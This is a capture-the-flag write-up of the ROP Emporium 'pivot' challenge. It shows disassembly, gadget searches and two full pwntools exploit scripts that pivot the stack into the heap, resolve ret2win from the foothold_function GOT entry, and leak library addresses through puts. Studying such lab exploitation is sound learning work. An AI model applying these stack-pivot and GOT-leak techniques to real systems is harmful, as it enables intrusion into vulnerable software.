Post

pivot

pivot

Description

The pivot challenge is the seventh of the ropemporium challenges.

Exploration

Checksec

1
2
3
4
5
6
7
8
9
$ checksec ./pivot
[*] '/home/ctf/ctf/ropemporium/pivot/pivot'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No

Gadgets (usefulGadgets)

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x00000000004009bb <+0>:     pop    rax
   0x00000000004009bc <+1>:     ret
   0x00000000004009bd <+2>:     xchg   rsp,rax
   0x00000000004009bf <+4>:     ret
   0x00000000004009c0 <+5>:     mov    rax,QWORD PTR [rax]
   0x00000000004009c3 <+8>:     ret
   0x00000000004009c4 <+9>:     add    rax,rbp
   0x00000000004009c7 <+12>:    ret
   0x00000000004009c8 <+13>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

We can see gadgets that can:

  • set rax
  • switch rax and rsp
  • dereference rax
  • add rbp to rax

The vulnerability (pwnme)

The pwnme function has two reads:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pwndbg> disass pwnme
Dump of assembler code for function pwnme:
   0x00000000004008f1 <+0>:     push   rbp
   0x00000000004008f2 <+1>:     mov    rbp,rsp
   0x00000000004008f5 <+4>:     sub    rsp,0x30
   0x00000000004008f9 <+8>:     mov    QWORD PTR [rbp-0x28],rdi
   0x00000000004008fd <+12>:    lea    rax,[rbp-0x20]
   0x0000000000400901 <+16>:    mov    edx,0x20
   0x0000000000400906 <+21>:    mov    esi,0x0
   0x000000000040090b <+26>:    mov    rdi,rax
   0x000000000040090e <+29>:    call   0x400700 <memset@plt>
   0x0000000000400913 <+34>:    mov    edi,0x400aa9
   0x0000000000400918 <+39>:    call   0x4006e0 <puts@plt>
   0x000000000040091d <+44>:    mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400921 <+48>:    mov    rsi,rax
   0x0000000000400924 <+51>:    mov    edi,0x400ac8
   0x0000000000400929 <+56>:    mov    eax,0x0
   0x000000000040092e <+61>:    call   0x4006f0 <printf@plt>
   0x0000000000400933 <+66>:    mov    edi,0x400b08
   0x0000000000400938 <+71>:    call   0x4006e0 <puts@plt>
   0x000000000040093d <+76>:    mov    edi,0x400b34
   0x0000000000400942 <+81>:    mov    eax,0x0
   0x0000000000400947 <+86>:    call   0x4006f0 <printf@plt>
   0x000000000040094c <+91>:    mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400950 <+95>:    mov    edx,0x100
   0x0000000000400955 <+100>:   mov    rsi,rax
   0x0000000000400958 <+103>:   mov    edi,0x0
   0x000000000040095d <+108>:   call   0x400710 <read@plt>
   0x0000000000400962 <+113>:   mov    edi,0x400b37
   0x0000000000400967 <+118>:   call   0x4006e0 <puts@plt>
   0x000000000040096c <+123>:   mov    edi,0x400b48
   0x0000000000400971 <+128>:   call   0x4006e0 <puts@plt>
   0x0000000000400976 <+133>:   mov    edi,0x400b34
   0x000000000040097b <+138>:   mov    eax,0x0
   0x0000000000400980 <+143>:   call   0x4006f0 <printf@plt>
   0x0000000000400985 <+148>:   lea    rax,[rbp-0x20]
   0x0000000000400989 <+152>:   mov    edx,0x40
   0x000000000040098e <+157>:   mov    rsi,rax
   0x0000000000400991 <+160>:   mov    edi,0x0
   0x0000000000400996 <+165>:   call   0x400710 <read@plt>
   0x000000000040099b <+170>:   mov    edi,0x400b69
   0x00000000004009a0 <+175>:   call   0x4006e0 <puts@plt>
   0x00000000004009a5 <+180>:   nop
   0x00000000004009a6 <+181>:   leave
   0x00000000004009a7 <+182>:   ret
End of assembler dump.

Running it shows the following:

1
2
3
4
5
6
7
8
9
10
11
12
pivot by ROP Emporium
x86_64

Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7a1df10
Send a ROP chain now and it will land there
> hi
Thank you!

Now please send your stack smash
> hi
Thank you!

We can see that it gives us a location to write the main rop chain and requires us to first return to that point before doing the rest of the payload.

This location is in the heap, as pwnme takes in a parameter via rdi from main, where we can see a malloc call that is passed into pwnme through rdi:

1
2
3
   0x0000000000400889 <+66>:    mov    edi,0x1000000
   0x000000000040088e <+71>:    call   0x400730 <malloc@plt>
   0x0000000000400893 <+76>:    mov    QWORD PTR [rbp-0x8],rax

Note that the heap size is huge: 0x1000000.

Other gadgets

We’ll need to use a pop rbp gadget to make use of the addition gadget.

1
2
3
4
5
6
7
8
$ ropper -f ./pivot --search "pop rbp; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rbp; ret

[INFO] File: ./pivot
0x00000000004007c8: pop rbp; ret; 

We’ll also need a call rax gadget to use the address we’re calculating in rax.

1
2
3
4
5
6
7
8
9
$ ropper -f ./pivot --search "call rax"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: call rax

[INFO] File: ./pivot
0x00000000004006b0: call rax; 
0x00000000004006b0: call rax; add rsp, 8; ret; 

Exploit

The plan is to write two payloads: the first will return us to the given location and set the stack:

  • set rax to address
  • exchange rsp and rax
  • return to the top of the stack, which is in the heap.

The second payload needs to do a few more things:

  • call foothold_function@plt to update the global offset table (GOT)
  • load foothold_function@got into rax
  • calculate the offset between foothold_function and ret2win in libpivot.so
  • load the offset into rbp
  • add rbp to rax
  • call rax
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3

from pwn import *

exe = ELF("./pivot")
libpivot = ELF("./libpivot.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r

Gadgets:

1
2
3
4
5
6
7
rdi_gadget = 0x400a33
rax_gadget = 0x4009bb
xchg_gadget = 0x4009bd
deref_gadget = 0x4009c0
add_rbp_to_rax_gadget = 0x4009c4
call_rax_gadget = 0x4006b0
rbp_gadget = 0x4007c8
1
2
3
4
5
6
7
8
9
10
11
def ret2heap(heap_address):
    offset = 0x28

    return flat({
        offset: [
            # save rbp 
            rax_gadget,
            heap_address,
            xchg_gadget
        ]
    })
1
2
3
4
5
6
7
8
9
10
11
12
13
def print_foothold():
    offset = libpivot.sym["ret2win"] - libpivot.sym["foothold_function"]
    return flat([
        # call foothold_functio
        exe.plt["foothold_function"],
        rbp_gadget,
        offset,
        rax_gadget,
        exe.got["foothold_function"],
        deref_gadget,
        add_rbp_to_rax_gadget,
        call_rax_gadget
    ])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def main():
    r = conn()
    # good luck pwning :)

    r.sendline(print_foothold())

    r.recvuntil(b": ")
    heap_address = int(r.recvline().decode().strip(), 16)
    r.sendline(ret2heap(heap_address))

    r.interactive()


if __name__ == "__main__":
    main()

Alternative solution

We can leak the address of foothold_function using puts:

1
2
3
4
5
6
#!/usr/bin/env python3
from pwn import *
exe = context.binary = ELF("./pivot")
libpivot = ELF("./libpivot.so")
rop = ROP(exe)
r = process("./pivot")

The first payload first calls foothold_function as usual to load the GOT, but then it calls puts on the GOT pointer to leak the data. It then calls main, having printed the address of foothold_function.

1
2
3
4
5
6
7
8
9
10
11
r.recvuntil(b": ")
heap_address = int(r.recvline().decode().strip(), 16)
rdi_gadget = rop.find_gadget(["pop rdi", "ret"])[0]
payload1 = flat([
    exe.plt["foothold_function"],
    rop.find_gadget(["pop rdi", "ret"])[0],
    exe.got["foothold_function"],
    exe.plt["puts"],
    exe.sym["main"],
])
r.sendline(payload1)

The second payload is the same as it was in the original solution.

1
2
3
4
5
6
7
8
9
10
offset = 0x28
xchg_gadget = 0x4009bd
payload2 = flat({
    offset: [
        rop.find_gadget(["pop rax", "ret"])[0],
        heap_address,
        xchg_gadget
    ]
})
r.sendline(payload2)

The third payload calculates the base address of the libpivot library to call ret2win in the stack smash.

1
2
3
4
5
6
7
8
9
r.recvuntil(b"libpivot\n")
foothold_function_address = int.from_bytes(r.recvline().strip(), byteorder="little")
libpivot.address = foothold_function_address - libpivot.sym["foothold_function"]
payload3 = flat({
    offset: libpivot.sym["ret2win"]
})
r.sendline(payload3)

r.interactive()

This solution has less reliance on gadgets and more on puts, which is used often in C binaries.

Conclusion

I had to consult writeups as I was too focused on preserving rbp that I forgot about the other gadgets at my disposal, which was the solution from this writeup. I also did not understand GOT leaking until I read this writeup.

This post is licensed under CC BY 4.0 by the author.